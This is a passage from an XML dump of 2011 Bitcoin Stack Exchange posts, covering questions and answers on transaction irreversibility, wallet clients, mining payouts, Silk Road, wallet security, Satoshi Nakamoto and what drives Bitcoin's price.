  <row Id="199" PostTypeId="2" ParentId="194" CreationDate="2011-08-31T01:10:25.883" Score="4" Body="&lt;p&gt;Bitcoin address include checksums, so it is less likely that you made a casual typo and entered a valid bitcoin address.  However if the address is valid and also incorrect, then it is likely that the coins are effectively destroyed.  You can check the address on the &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;block chain explorer&lt;/a&gt;.  It may help you determine if the address was a valid address (say a friend's, in the case of pasting the wrong address), or one you may have access to somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because transactions are irreversible, there is no way to &quot;pull&quot; them back or cancel the transaction.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="659" LastEditDate="2012-02-14T18:53:08.883" LastActivityDate="2012-02-14T18:53:08.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="200" PostTypeId="2" ParentId="180" CreationDate="2011-08-31T01:13:32.047" Score="10" Body="&lt;p&gt;There is a current list of clients here&#xA;&lt;a href=&quot;http://en.bitcoin.it/wiki/Category:Clients&quot;&gt;http://en.bitcoin.it/wiki/Category:Clients&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is development discussion around alternative clients here&#xA;&lt;a href=&quot;http://bitcointalk.org/index.php?board=37.0&quot;&gt;http://bitcointalk.org/index.php?board=37.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the &quot;Official Client&quot; (more specifically, the Satoshi client) is the most widely used and has implementations that run on Windows, OS X, and Linux. However, multiple alternative clients have been developed, including ones that run on Android, and this is currently a high priority for the bitcoin community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current most popular alternative clients are BitcoinJ, written in java&#xA;&lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot;&gt;http://code.google.com/p/bitcoinj/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and BitDroid, which runs on Android&#xA;&lt;a href=&quot;https://github.com/cdecker/BitDroid-Network&quot;&gt;https://github.com/cdecker/BitDroid-Network&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-08-31T01:13:32.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostTypeId="2" ParentId="197" CreationDate="2011-08-31T01:15:31.800" Score="12" Body="&lt;p&gt;No, a bitcoin transaction which has already been included in a block on the longest chain &lt;strong&gt;cannot be reversed&lt;/strong&gt;.  This is by design as Bitcoin is intended to behave much like cash, with recipients being assured that the money is now permanently in their possession after a transaction has been included in a block.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="13998" LastEditDate="2018-01-15T22:13:25.410" LastActivityDate="2018-01-15T22:13:25.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostTypeId="2" ParentId="197" CreationDate="2011-08-31T01:16:25.937" Score="3" Body="&lt;p&gt;It is not possible to reverse a transaction that has already been transmitted on the bitcoin network.  However if you can keep a transaction from being transmitted then you can close the client restore the wallet file from a backup.  When the client is restored with the -rescan flag the transaction will no longer be pending.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-31T01:16:25.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostTypeId="2" ParentId="197" CreationDate="2011-08-31T01:17:48.580" Score="5" Body="&lt;p&gt;Bitcoin transactions are not reversible. This is by design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether it is a feature or a flaw depends on your point of view.&#xA;Many merchants consider it a feature as it eliminates counterparty risk.&#xA;However, some people, notably Wikileaks, have called for a cryptocurrency with time limited reversibility.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-08-31T01:17:48.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="204" PostTypeId="2" ParentId="189" CreationDate="2011-08-31T01:19:21.277" Score="8" Body="&lt;p&gt;There are at least two actual clients for Android and half a dozen &quot;thin clients&quot; that connect to a bitcoin server at home. As the thin clients are kind of complicated installs, I recommend &lt;a href=&quot;https://market.android.com/details?id=de.schildbach.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt; by &lt;a href=&quot;https://market.android.com/developer?pub=Andreas%20Schildbach&quot; rel=&quot;nofollow&quot;&gt;Andreas Schildbach&lt;/a&gt;. &#xA;There are a few questions of security as both apps have no way (that I'm aware of) to import/export/backup wallets and it's uncertain what level of security is held on data Google keeps in the cloud, but for carrying a small amount of coin for daily use, both are viable options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not being an iOS person I can't weigh in on the features etc. of the various iOS apps, but a quick glance over the various projects seems to show an assortment of thin clients and no actual iOS-based bitcoind implementation.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-03T08:47:12.450" LastActivityDate="2011-09-03T08:47:12.450" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="205" PostTypeId="2" ParentId="192" CreationDate="2011-08-31T01:20:43.053" Score="7" Body="&lt;p&gt;Try &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;noreferrer&quot;&gt;BlockExplorer&lt;/a&gt;, it can search by block, public address, and a few other ways. It also has some cool analysis and statistics abilities.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-31T01:20:43.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="206" PostTypeId="2" ParentId="175" CreationDate="2011-08-31T01:28:13.733" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://campbx.com&quot; rel=&quot;nofollow&quot;&gt;http://campbx.com&lt;/a&gt; is a market but the owners are extremely public as compared to other markets and banks. &lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2011-08-31T01:28:13.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostTypeId="1" AcceptedAnswerId="282" CreationDate="2011-08-31T01:32:42.637" Score="14" ViewCount="1217" Body="&lt;p&gt;I mine at Eligius pool and sometimes a new transaction appears in my bitcoin client labeled 'Generated'. Why does this happen? Do I also get these 'Generated' bitcoins if I use an e-wallet's address for mining?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-12-01T21:38:28.107" Title="Eligius pool and 'generated' bitcoins" Tags="|transactions|mining-pools|eligius|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostTypeId="2" ParentId="86" CreationDate="2011-08-31T01:33:03.943" Score="0" Body="&lt;p&gt;It is possible, you will first need to collect statistics on bitcoin usage.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2011-08-31T01:33:03.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostTypeId="2" ParentId="209" CreationDate="2011-08-31T01:38:57.163" Score="8" Body="&lt;p&gt;Generated coins mean you are getting new bitcoins that were generated with the block.  Eligius has the pool setup to pay you out when you have over a certain amount of work put in at an address.  Rather than having all 50 coins go to his address and then pay you out, he pays everyone out directly by having the coins paid out upon generation.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-31T01:38:57.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="213" PostTypeId="2" ParentId="122" CreationDate="2011-08-31T01:40:14.993" Score="11" Body="&lt;p&gt;It is very unlikely that anything smaller than a Satoshi will be needed.  I calculated about 52500 satoshis to $1 if all bitcoins have been mined and they are worth about $1900 each.&lt;/p&gt;&#xA;&lt;p&gt;Even $1'000'000 per bitcoin would still put 1 satoshi at 1 cent.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="5406" LastEditDate="2023-11-06T15:19:31.747" LastActivityDate="2023-11-06T15:19:31.747" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="214" PostTypeId="1" AcceptedAnswerId="218" CreationDate="2011-08-31T01:47:05.420" Score="7" ViewCount="1006" Body="&lt;p&gt;I have read a lot about the silk road and I am still unsure what it is. I went to &lt;a href=&quot;http://silkroadmarket.org&quot; rel=&quot;noreferrer&quot;&gt;http://silkroadmarket.org&lt;/a&gt; but it just says that the site is down.  &lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="121614" LastEditDate="2023-10-15T16:51:05.410" LastActivityDate="2023-10-15T16:51:05.410" Title="What is the &quot;silk road&quot; and what does it have to do with bitcoin?" Tags="|marketplace|silk-road|" AnswerCount="2" CommentCount="2" ClosedDate="2011-09-13T17:46:16.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="215" PostTypeId="1" AcceptedAnswerId="248" CreationDate="2011-08-31T01:49:39.253" Score="8" ViewCount="162" Body="&lt;p&gt;What articles if any have been in the mainstream media about bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="105" LastEditDate="2011-09-01T01:03:03.367" LastActivityDate="2018-09-24T12:35:07.723" Title="Is there a list of news articles related to bitcoin?" Tags="|news-coverage|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostTypeId="1" AcceptedAnswerId="320" CreationDate="2011-08-31T01:54:38.247" Score="12" ViewCount="1431" Body="&lt;p&gt;After I install the bitcoin client, what are the risks of browsing the Internet? Can my wallet be stolen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known viruses/websites etc....?&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="72" LastEditDate="2011-09-04T20:30:00.993" LastActivityDate="2016-12-02T02:03:10.757" Title="Do wallet stealing viruses exist?" Tags="|security|wallet|virus|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="218" PostTypeId="2" ParentId="214" CreationDate="2011-08-31T01:59:38.480" Score="17" Body="&lt;p&gt;Silkroad is an &lt;a href=&quot;http://en.wikipedia.org/wiki/Silk_Road_%28anonymous_marketplace%29&quot;&gt;anonymous online marketplace&lt;/a&gt; inside the &lt;a href=&quot;https://www.torproject.org/&quot;&gt;Tor network&lt;/a&gt; which became famous for selling illegal drugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They don't have anything to do with the Bitcoin project, except for the fact that they accept bitcoins as a payment method.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-08-31T01:59:38.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="219" PostTypeId="2" ParentId="216" CreationDate="2011-08-31T02:00:46.550" Score="3" Body="&lt;p&gt;Yes they do exist, your best bet is to create a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28/how-can-i-keep-my-wallet-secure&quot;&gt;secure wallet&lt;/a&gt;&#xA;.  That link goes to another question about how to create a secure wallet.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-08-31T02:00:46.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostTypeId="2" ParentId="215" CreationDate="2011-08-31T02:01:52.880" Score="6" Body="&lt;p&gt;The most complete list I'm aware of is the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1958.0&quot;&gt;Bitcoin press hits&lt;/a&gt; thread at bitcointalk.org .  But be aware that there is a &lt;strong&gt;lot&lt;/strong&gt; of content there to sort through. BitCoin has been covered repeatedly in &lt;a href=&quot;http://www.forbes.com/forbes/2011/0509/technology-psilocybin-bitcoins-gavin-andresen-crypto-currency.html&quot;&gt;Forbes&lt;/a&gt;, &lt;a href=&quot;http://www.wired.co.uk/news/archive/2011-05/16/bitcoin-p2p-currency&quot;&gt;Wired&lt;/a&gt;, the &lt;a href=&quot;http://www.smartmoney.com/invest/stocks/the-currency-thats-up-200000-1307029053200/?link=SM_mustread&quot;&gt;Wall Street Journal&lt;/a&gt;, the &lt;a href=&quot;http://www.nytimes.com/2011/05/30/business/economy/30views.html?scp=2&amp;amp;sq=bitcoin&amp;amp;st=cse&quot;&gt;Times&lt;/a&gt;, etc.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2011-08-31T02:01:52.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostTypeId="1" CreationDate="2011-08-31T02:06:28.070" Score="12" ViewCount="764" Body="&lt;p&gt;Are there any alternative approaches to &lt;strong&gt;decentralized&lt;/strong&gt;, electronic currencies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin was built with certain technical characteristics in mind. I'm hoping to see if there are alternative approaches. I don't mean things like Namecoin or other adaptations of the blockchain concept.&lt;/p&gt;&#xA;" OwnerUserId="98" LastEditorUserId="196" LastEditDate="2013-05-03T09:05:35.357" LastActivityDate="2016-12-27T19:50:08.307" Title="Are there alternatives to Bitcoin which take a different approach?" Tags="|alternatives|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="222" PostTypeId="2" ParentId="221" CreationDate="2011-08-31T02:30:32.803" Score="4" Body="&lt;p&gt;(answering the original question, before the edit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose it depends on what specific characteristics matter to you.  There are plenty of examples of non-government &quot;money.&quot;  WoW gold, Linden dollars (Second Life money), and Chuck E. Cheese tokens all count as money in some sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think any of those examples truly count as &quot;open source money&quot; though.  Perhaps the main problem in developing such a money before Bitcoin was how to trust that transactions are legitimate.  Typically this would require some sort of trusted 3rd party (so if I believe in Linden dollars gold then I trust Linden to be honest and not to get hacked).  Some mechanism needs to be in place to prevent me from altering the balance in my digital account or from making copies of my money files.  Trusted 3rd parties can indeed do this, but I don't think that is in the spirit of &quot;open source money.&quot;  The block chain concept is the only open-source mechanism I know of to prevent double spending without relying on trusted 3rd parties.&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="196" LastEditDate="2013-05-06T08:58:40.570" LastActivityDate="2013-05-06T08:58:40.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="223" PostTypeId="2" ParentId="221" CreationDate="2011-08-31T02:40:58.867" Score="6" Body="&lt;p&gt;There are &quot;digital bearer certificate&quot; systems, which are an older concept.  They require a centralized issuer in order to prevent double-spending.  You can think of the certificates as electronic IOUs for a commodity (such as gold) held by the issuer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some DBC systems implement &lt;a href=&quot;http://en.wikipedia.org/wiki/Blind_signature&quot;&gt;Chaumian blinding&lt;/a&gt; to anonymize transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot;&gt;Open Transactions&lt;/a&gt; is a recent DBC system that has gained some interest.  It could be used with Bitcoin as a backing commodity, taking advantage of the properties of both systems.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-08-31T02:40:58.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="224" PostTypeId="1" AcceptedAnswerId="227" CreationDate="2011-08-31T03:01:52.173" Score="24" ViewCount="4797" Body="&lt;p&gt;Obviously the number of existing Bitcoins affects the value, but what else?  What are some of the primary factors for a rise or fall in a Bitcoin's worth?&lt;/p&gt;&#xA;" OwnerUserId="18" LastEditorUserId="153" LastEditDate="2012-05-22T05:36:27.040" LastActivityDate="2013-07-23T02:38:38.340" Title="What factors affect the value of a Bitcoin?" Tags="|value|speculation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostTypeId="2" ParentId="224" CreationDate="2011-08-31T03:07:18.563" Score="2" Body="&lt;p&gt;The exchange rate is affected by people's confidence in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another compounding factor is that new Bitcoins are generated every few minutes, some of which are being dumped on the market. If people are not buying these up, or saving them - then the exchange rate will go down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another factor is the news. Not only does it affect confidence, but many people who would invest in Bitcoins don't know about them yet.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-31T03:07:18.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostTypeId="2" ParentId="169" CreationDate="2011-08-31T03:13:12.863" Score="4" Body="&lt;p&gt;Namecoins use the Nakamoto blockchain algorithm  - and are very similar to Bitcoins. So much as Bitcoins are a currency, so are Namecoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only major difference in concept is that Namecoins have a built in domain registry, and currently allow merged mining.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="2306" LastEditDate="2013-03-03T15:32:32.987" LastActivityDate="2013-03-03T15:32:32.987" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="227" PostTypeId="2" ParentId="224" CreationDate="2011-08-31T03:36:39.783" Score="13" Body="&lt;p&gt;The price for a bitcoin, e.g. for trading with other currencies, derives as usual from the interaction of supply and demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;supply&lt;/strong&gt; of bitcoins increases over time, as determined by the rules in the software which is run by the majority of miners, and increases regularly over time, in decreasing increments.  It can also decrease when people lose access to the private keys which are needed to spend bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;demand&lt;/strong&gt; is driven by a variety of factors:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin's utility as a flexible medium of exchange, with low transaction costs, efficient micropayments, little effective regulation, ease of becoming a merchant, pseudonymous accounts, and a worldwide market.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Impediments to the bitcoin economy caused by the friction and inconvenience of using bitcoins due to idiosyncratic software, difficulties obtaining bitcoins, relative lack of people who have bitcoins to spend, the risks of a new experimental currency, lack of understanding, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Demand from new users, derived from recent publicity or new uses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Speculation as to the future of bitcoins as an investment, over the long-term as well as the short term&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Competition from related transactional or investment options such as Paypal, gold, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; Note that as long at the overall exchange market is relatively small, the market price can be manipulated by sufficiently well-funded investors who can expand the supply of available bitcoins, or increase demand, to meet their own goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the question and answers at &lt;a href=&quot;https://bitcoin.stackexchange.com/q/588/99&quot;&gt;What economics/finance methods and tools can be used to analyze and predict the Bitcoin market?&lt;/a&gt;.  (Previously I linked to this, which is now deleted:&#xA;&lt;a href=&quot;https://money.stackexchange.com/questions/8954/what-technical-indicators-might-be-appropriate-for-analyzing-bitcoin-currency-tra&quot;&gt;What technical indicators might be appropriate for analyzing Bitcoin currency trading? - Personal Finance and Money - Stack Exchange&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-07-23T02:38:38.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="228" PostTypeId="1" AcceptedAnswerId="436" CreationDate="2011-08-31T03:40:34.417" Score="21" ViewCount="1117" Body="&lt;p&gt;Generally speaking, how can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) A programmer contribute to Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) A non-programmer contribute to Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially; which areas are in most need of programming work / non-programming work?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="44" LastEditDate="2011-09-01T15:13:36.183" LastActivityDate="2013-12-30T16:43:52.553" Title="How can I contribute to the open source Bitcoin project?" Tags="|development|weaknesses|contribution|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostTypeId="1" AcceptedAnswerId="233" CreationDate="2011-08-31T03:53:49.927" Score="18" ViewCount="2400" Body="&lt;p&gt;Who is Satoshi Nakamoto? I have heard about him and read his paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is he no-longer publicly involved in Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="1761" LastEditDate="2012-11-13T21:43:03.937" LastActivityDate="2022-12-16T17:28:12.827" Title="Who is Satoshi Nakamoto?" Tags="|history|satoshi-nakamoto|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostTypeId="2" ParentId="228" CreationDate="2011-08-31T03:56:53.230" Score="5" Body="&lt;p&gt;Whether you are a programmer, or a non-programmer, Bitcoin needs talented minds to help make it easier to use, and more widely accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For programmers, one key area needing help is the User Interface (for both the trading exchanges and the wallets).  Another area is helping the payment processors like &lt;a href=&quot;https://bit-pay.com&quot; rel=&quot;nofollow&quot; rel=&quot;nofollow&quot;&gt;http://bit-pay.com&lt;/a&gt; get written into all of the popular shopping carts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For non-programmers, the key area needing help is marketing.  What is the most effective way to tell people about this great new invention called bitcoin?  It's very much like the invention of the internet.  It will change people's lives, once they discover it.  And they will, one person at a time.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2011-08-31T03:56:53.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostTypeId="2" ParentId="193" CreationDate="2011-08-31T04:19:31.617" Score="43" Body="&lt;p&gt;No, IP addresses are not stored in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Gavin Andreson indeed notes that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unless you are very careful in the way you use Bitcoin (and you have&#xA;  the technical know-how to use it with other anonymizing technologies&#xA;  like Tor or i2p), you should assume that a persistent, motivated&#xA;  attacker will be able to associate your IP address with your bitcoin&#xA;  transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One way to do this is to simply run bitcoin peer-to-peer clients that connect to a large fraction of the active nodes.  It's not as hard as you might think.  See &lt;a href=&quot;http://www.slideshare.net/dakami/black-ops-of-tcpip-2011-black-hat-usa-2011&quot;&gt;Dan Kaminsky's Black Hat 2011 talk&lt;/a&gt;, starting at slide 21, for more.  (Thanks to kirian for reminding me of the link).  Then see &lt;em&gt;An Analysis of Anonymity in the Bitcoin System&lt;/em&gt; 2011-07-22 by Fergal Reid, Martin Harrigan for how to link together the various bitcoin addresses that each user uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some related background is outlined by Craig Reading:&#xA;&lt;a href=&quot;http://genesysguru.com/blog/blog/2011/06/17/bitcoin-theft-the-top-ten-threats/&quot;&gt;Bitcoin Theft – The Top Ten Threats | Genesys Guru Blog&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2011-09-01T12:50:34.417" LastActivityDate="2011-09-01T12:50:34.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="233" PostTypeId="2" ParentId="229" CreationDate="2011-08-31T04:25:23.413" Score="24" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Nakamoto&quot; rel=&quot;nofollow noreferrer&quot;&gt;Satoshi Nakamoto&lt;/a&gt; is the elusive and private creator of bitcoin. In October 2008 he published the paper &lt;a href=&quot;http://www.bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin: A Peer-to-Peer Electronic Cash System&lt;/a&gt; (pdf warning) which is the basis of the bitcoin client/protocol. He has stated his nationality as Japanese and published a &lt;a href=&quot;http://forum.bitcoin.org/Satoshi_Nakamoto.asc&quot; rel=&quot;nofollow noreferrer&quot;&gt;PGP key&lt;/a&gt;, has a &lt;a href=&quot;http://sourceforge.net/users/s_nakamoto&quot; rel=&quot;nofollow noreferrer&quot;&gt;sourceforge page&lt;/a&gt; and aside from that not much is known. It sort of follows that someone interested in creating a distributed pseudonymous online currency would be a very private person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also suspected that Satoshi may be a pseudonym for any of a number of people involved in the original development - a mask used for safety and protection against legal persecution for the creation of such a potentially disruptive product. To that end, Satoshi &lt;em&gt;may&lt;/em&gt; still be involved in bitcoin, although as you stated, not publicly. As with everything else about Satoshi, the reason for his lack of current involvement is unknown.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="38458" LastEditDate="2019-03-11T16:14:16.790" LastActivityDate="2019-03-11T16:14:16.790" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="234" PostTypeId="2" ParentId="115" CreationDate="2011-08-31T04:31:30.550" Score="7" Body="&lt;p&gt;Sidestepping the comments about whether or not Namecoin is a fork or a separate project or whether bitcoin is an investment or a currency, I'll address the direct question asked: Is there a way to easily and automatically purchase several crypto-currencies at once? Not at present time, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin (and its forks) is a very young project, though, and I'm sure there was a stock exchange before DJIA or S&amp;amp;P existed. Give us time and it's very likely that something of the sort will be created - especially now that the demand has been made publicly known.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-31T04:31:30.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="235" PostTypeId="2" ParentId="126" CreationDate="2011-08-31T04:53:22.407" Score="3" Body="&lt;p&gt;There are a number of &lt;a href=&quot;https://en.bitcoin.it/wiki/Category%3aShopping_Cart_Interfaces&quot; rel=&quot;nofollow&quot;&gt;shopping cart interfaces&lt;/a&gt; currently available, though a fair number of them relied on the now-defunct MyBitcoin API. It is also fairly easy to integrate your own code with the JSON API as there are libraries available in most common languages, such as &lt;a href=&quot;http://sourceforge.net/projects/bitnet/&quot; rel=&quot;nofollow&quot;&gt;ASP.NET/C#&lt;/a&gt;, &lt;a href=&quot;http://jsonrpcphp.org/&quot; rel=&quot;nofollow&quot;&gt;PHP&lt;/a&gt;, &lt;a href=&quot;http://json-rpc.org/wiki/python-json-rpc&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;many others&lt;/a&gt;. VPS or dedicated hosting is recommended since the bitcoin client can then reside on the server itself, but as bitcoin's JSON API supports SSL as of version 0.3.14 it is reasonably secure for the bitcoin client to reside on another system and allow your web application to connect to it remotely.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-31T04:53:22.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostTypeId="2" ParentId="192" CreationDate="2011-08-31T05:27:57.957" Score="0" Body="&lt;p&gt;&lt;code&gt;http://blockexplorer.com/address/&amp;lt;insert address here&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will give you a list of all transactions to/from that address. &lt;a href=&quot;http://blockexplorer.com/address/1127YKBDm8d2ZEvFwGz3e6NaWUr4LNQSBE&quot; rel=&quot;nofollow&quot;&gt;Here is an example&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-08-31T05:27:57.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="237" PostTypeId="1" AcceptedAnswerId="270" CreationDate="2011-08-31T05:29:55.027" Score="13" ViewCount="717" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Money&quot;&gt;Money&lt;/a&gt; is often seen as having various functions, such as &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Medium_of_exchange&quot;&gt;medium of exchange&lt;/a&gt;&quot; (something useful for conducting transactions, and &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Store_of_value&quot;&gt;store of value&lt;/a&gt;&quot; (something valuable as an investment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was bitcoin designed to provide both functions, or just one?  How does it mainly function today?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="5406" LastEditDate="2014-05-02T17:54:42.063" LastActivityDate="2014-05-02T17:54:42.063" Title="Does the bitcoin design make bitcoins suitable as a medium of exchange, a store of value, or both?" Tags="|currencies|bitcoin-economy|money|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostTypeId="2" ParentId="197" CreationDate="2011-08-31T05:31:56.740" Score="11" Body="&lt;p&gt;Bitcoin transactions cannot be reversed. However, there are escrow services that make sure that transactions are safe for both parties. For example, if you want to buy an item from someone, using an escrow service, you would first send the Bitcoins to the escrow service. The seller then knows their money is secured and sends you the item. Once you've received it, you give your &quot;ok&quot; to the escrow service and the seller receives the money. If there's trouble with the item (or you never receive it), the issue can be settled through the escrow service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that, fraudulent transactions can also be settled through legal means (that might be more difficult, though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One service (that's currently not available, unfortunately) is ClearCoin: &lt;a href=&quot;https://clearcoin.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;https://clearcoin.appspot.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you search for Bitcoin Escrow, you will find a couple of solutions (I'm not posting them here because I can't recommend any; maybe &quot;What are reliable Bitcoin Escrow services?&quot; would be a good question ;-) ).&lt;/p&gt;&#xA;" OwnerUserId="107" 